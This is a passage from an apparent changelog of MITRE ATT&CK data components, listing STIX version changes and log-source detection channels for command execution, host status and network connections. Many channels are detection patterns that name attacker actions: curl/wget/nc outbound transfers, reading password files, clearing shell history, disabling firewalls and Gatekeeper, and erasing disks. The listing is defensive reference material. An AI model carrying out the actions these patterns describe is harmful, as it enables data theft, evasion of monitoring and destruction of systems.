{'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage|grep pam_pwquality|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl|tar|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context'}, {'name': 'esxi:shell', 'channel': '`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`'}, {'name': 'AWS:CloudTrail', 'channel': 'SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances'}, {'name': 'esxi:vmkernel', 'channel': 'Unexpected restarts of management agents or shell access'}, {'name': 'auditd:EXECVE', 'channel': 'curl or wget with POST/PUT options'}, {'name': 'networkdevice:syslog', 'channel': 'Detected CLI command to export key material'}, {'name': 'networkdevice:config', 'channel': 'PKI export or certificate manipulation commands'}, {'name': 'macos:unifiedlog', 'channel': 'command execution triggered by emond (e.g., shell, curl, python)'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli, vim-cmd invocation'}, {'name': 'esxi:shell', 'channel': 'CLI session activity'}, {'name': 'auditd:SYSCALL', 'channel': 'execve=/sbin/shutdown or /sbin/reboot'}, {'name': 'esxi:shell', 'channel': 'esxcli system shutdown or reboot invoked'}, {'name': 'networkdevice:syslog', 'channel': 'reload command issued'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103, 4104'}, {'name': 'auditd:PROCTITLE', 'channel': 'command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)'}, {'name': 'esxi:shell', 'channel': 'shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration'}, {'name': 'vpxd.log', 'channel': 'VM inventory queries and configuration enumeration through vCenter API calls'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying HISTFILE or HISTCONTROL via unset/export'}, {'name': 'macos:unifiedlog', 'channel': 'Set or unset HIST* variables in shell environment'}, {'name': 'esxi:shell', 'channel': 'unset HISTFILE or HISTFILESIZE modifications'}, {'name': 'networkdevice:cli', 'channel': "Commands like 'no logging' or equivalents that disable session history"}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to /usr/bin/locale or shell execution of $LANG'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale or systemsetup -gettimezone'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands such as 'copy tftp flash', 'boot system ', 'reload'"}, {'name': 'auditd:EXECVE', 'channel': 'curl -T, rclone copy'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start/modify'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load/unload or plist file modification'}, {'name': 'networkdevice:syslog', 'channel': 'syslog facility LOCAL7 or trap messages'}, {'name': 'linux:cli', 'channel': '/home/*/.bash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of lsmod, modinfo, or cat /proc/modules'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"}, {'name': 'macos:unifiedlog', 'channel': 'dscl . -create'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks'}, {'name': 'esxi:vpxd', 'channel': 'vCenter Management'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:11:30.145000+00:002025-10-21 15:14:34.849000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.22.0

[DC0018] Host Status

Current version: 2.0

Version changed from: 1.1 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}]
x_mitre_log_sources[{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, {'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159
values_changed
STIX FieldOld valueNew Value
modified2025-04-18 15:16:18.582000+00:002025-10-21 15:14:37.544000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.12.0

[DC0113] Network Communication

Current version: 2.0

Version changed from: 1.0 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0113', 'external_id': 'DC0113'}]
x_mitre_log_sources[{'name': 'Application Vetting', 'channel': 'None'}]
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_source_refx-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203
values_changed
STIX FieldOld valueNew Value
modified2025-04-16 21:22:21.724000+00:002025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.02.0

[DC0082] Network Connection Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details
dictionary_item_added
STIX FieldOld valueNew Value
external_references[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0082', 'external_id': 'DC0082'}]
x_mitre_log_sources[{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound connection to 169.254.169.254 from EC2 workload'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3'}, {'name': 'macos:unifiedlog', 'channel': 'connection attempts'}, {'name': 'esxi:hostd', 'channel': 'System service interactions'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=3, 22'}, {'name': 'NSM:Connections', 'channel': 'web domain alerts'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=22'}, {'name': 'auditd:SYSCALL', 'channel': 'connect'}, {'name': 'auditd:SYSCALL', 'channel': 'netconnect'}, {'name': 'macos:osquery', 'channel': 'process_events/socket_events'}, {'name': 'NSM:Firewall', 'channel': 'Outbound Connections'}, {'name': 'macos:unifiedlog', 'channel': 'connection open'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execs of chromium, google-chrome, firefox, libreoffice with http(s) in cmdline'}, {'name': 'NSM:Flow', 'channel': 'New TCP/443 or TCP/80 to domain not previously seen for the user/host'}, {'name': 'NSM:Connections', 'channel': 'New outbound connection from Safari/Chrome/Firefox/Word'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'open or connect'}, {'name': 'macos:osquery', 'channel': 'execution of trusted tools interacting with external endpoints'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=22'}, {'name': 'WinEventLog:Microsoft-Windows-Bits-Client/Operational', 'channel': 'BITS job lifecycle events such as job create/modify/transfer/complete and URL/remote name fields'}, {'name': 'NSM:Firewall', 'channel': 'proxy or TLS inspection logs'}, {'name': 'macos:unifiedlog', 'channel': 'network connection events'}, {'name': 'esxi:vmkernel', 'channel': 'protocol egress'}, {'name': 'NSM:Flow', 'channel': 'Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms'}, {'name': 'NSM:Flow', 'channel': 'Connections to *.devtunnels.ms or 